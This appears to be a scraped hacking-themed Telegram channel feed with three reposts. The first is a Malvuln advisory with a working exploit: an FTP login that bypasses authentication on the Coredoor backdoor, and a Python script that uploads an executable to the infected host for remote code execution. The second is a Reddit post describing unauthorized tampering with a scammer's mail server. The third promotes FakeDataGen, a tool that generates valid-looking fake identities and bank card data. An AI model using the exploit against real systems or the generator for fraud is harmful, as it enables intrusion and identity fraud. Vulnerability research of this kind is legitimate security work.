Hacking Articles Tips Tricks Videos Tutorials
470 subscribers
66.1K photos
15 videos
157 files
133K links
Exploit
Pentesting
Hacking
Red Team
Blue Team
Kali Linux
Bug Bounty
Black Hat
Cyber security etc

@Hacking_Video
@Hacking_attack
Download Telegram
Hacking Articles Tips Tricks Videos Tutorials
Photo
Exploit Collector
Backdoor.Win32.Coredoor.10.a Authentication Bypass / Code Execution

https://2.bp.blogspot.com/-S-N0q2XL8x8/WWlu5FDj1eI/AAAAAAAAIJA/vGskVQb_QegQZ0-UZMHSDeFJ08ju6pdGQCLcBGAs/s1600/h104.png
Backdoor.Win32.Coredoor.10.a malware suffers from bypass and code execution vulnerabilities.

MD5 | d820cb7a3b88112f83ab2190847a377b

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/4d10cd3fa86239ade05d2b741892b1e5.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Coredoor.10.a
Vulnerability: Authentication Bypass RCE
Description: The malware listens on TCP port 21000. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Type: PE32
MD5: 4d10cd3fa86239ade05d2b741892b1e5
Vuln ID: MVID-2021-0410
Dropped files: CFS.exe
Disclosure: 11/25/2021
Exploit/PoC:
nc64.exe x.x.x.x 21000
220 c400s FTP Server read...
USER malvuln
331 Password required for malvuln.
PASS malvuln
230 User malvuln logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
CDUP
250 CWD command successful. "C:/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,125,194,155).
STOR DOOM-SM
150 Opening data connection for DOOM-SM.
226 File received ok
from socket import *

MALWARE_HOST="192.168.18.125"
PORT=49819
DOOM="DOOM-SM.exe"

def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)

while EXE:
s.send(EXE)
EXE=f.read()

s.close()

print("By Malvuln");

if __name__=="__main__":
doit()
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com
Legality of messing with unsecured scammer systems?
https://www.reddit.com/r/Pentesting/comments/r36grb/legality_of_messing_with_unsecured_scammer_systems/

<!-- SC_OFF -->So... I get this scam email right... and I'm like... lets figure out what these guys are all about. So I look up the URL in browserling.com and it's some crappy template site. So I look at the email it came from, and the IP it resolves to has an open Telnet port that has a remote PowerMTA monitoring/queue management interface on it. So I decide, that the 65 emails in queue don't need to be there, and I clear the queue. Is this a bad thing? <!-- SC_ON --> submitted by /u/kardall (https://www.reddit.com/user/kardall)
[link] (https://www.reddit.com/r/Pentesting/comments/r36grb/legality_of_messing_with_unsecured_scammer_systems/) [comments] (https://www.reddit.com/r/Pentesting/comments/r36grb/legality_of_messing_with_unsecured_scammer_systems/)
FakeDataGen - Full Valid Fake Data Generator

FakeDataGen is a Full Valid Fake Data Generator.This tool helps you to create fake accounts (in Spanish format) with fully valid data. Within this information, you can find the most common names, emails, bank details and other useful information.RequirementsPython 3Install requirements.txtDownloadIt is recommended to clone the complete repository or download the zip file. You can do this by running the following command:git clone https://github.com/JoelGMSec/FakeDataGenUsage./FakeDataGen.py -h _ _ _ _ _ | _|_ _| | _ _| _ \ _ _| |_ _ _ / _| _ _ _ | |_ / _` | |/ / _ \ | | |/ _` | _/ _` | | _ / _ \ '_ \ | _| (_| | < _/ |_| | (_| | || (_| | |_| | _/ | | | |_| \_,_|_|\_\_|_/ \_,_|\_\_,_|\_|\_|_| |_| -------------------- by @JoelGMSec --------------------- usage: FakeDataGen.py -h -n NUMBER -b -e -f FILE -z -p PASSWORDoptional arguments: -h, --help show this help message and exit -n NUMBER, --number NUMBER The number of records should be created -b, --bankdata Show only bank data (Card, CVV, IBAN..) -e, --extended Show only extended info (City, Phone, SS..) -f FILE, --file FILE File path to save data -z, --zip Compress data to zip file -p PASSWORD, --password PASSWORD Password to protect zip fileThe detailed guide of use can be found at the following link:https://darkbyte.net/generando-datos-falsos-con-fakedatagenLicenseThis project is licensed under the GNU 3.0 license - see the LICENSE file for more details.Credits and AcknowledgmentsThis script has been created and designed from scratch by Joel Gámez Molina // @JoelGMSecContactThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.For more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.Download FakeDataGen
Read more...
FakeDataGen is a Full Valid Fake Data Generator.This tool helps you to create fake accounts (in Spanish format) with fully valid data. Within this information, you can find the most common names, emails, bank details and other useful information.
RequirementsPython 3Install requirements.txtDownloadIt is recommended to clone the complete repository or download the zip file. You can do this by running the following command:git clone https://github.com/JoelGMSec/FakeDataGen
Usage./FakeDataGen.py -h

_____ _ ____ _ ____
| ___|_ _| | _ ___| _ \ __ _| |_ __ _ / ___| ___ _ __
| |_ / _` | |/ / _ \ | | |/ _` | __/ _` | | _ / _ \ '_ \
| _| (_| | < __/ |_| | (_| | || (_| | |_| | __/ | | |
|_| \__,_|_|\_\___|____/ \__,_|\__\__,_|\____|\___|_| |_|

-------------------- by @JoelGMSec ---------------------

usage: FakeDataGen.py [-h] [-n NUMBER] [-b] [-e] [-f FILE] [-z] [-p PASSWORD]

optional arguments:
-h, --help show this help message and exit
-n NUMBER, --number NUMBER
The number of records should be created
-b, --bankdata Show only bank data (Card, CVV, IBAN..)
-e, --extended Show only extended info (City, Phone, SS..)
-f FILE, --file FILE File path to save data
-z, --zip Compress data to zip file
-p PASSWORD, --password PASSWORD
Password to protect zip file
The detailed guide of use can be found at the following link:https://darkbyte.net/generando-datos-falsos-con-fakedatagenLicenseThis project is licensed under the GNU (https://www.kitploit.com/search/label/GNU) 3.0 license - see the LICENSE file for more details.Credits and AcknowledgmentsThis script has been created and designed from scratch by Joel Gámez Molina // @JoelGMSecContactThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.For more information, you can find me on Twitter (https://www.kitploit.com/search/label/Twitter) as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).

Download FakeDataGen (https://github.com/JoelGMSec/FakeDataGen)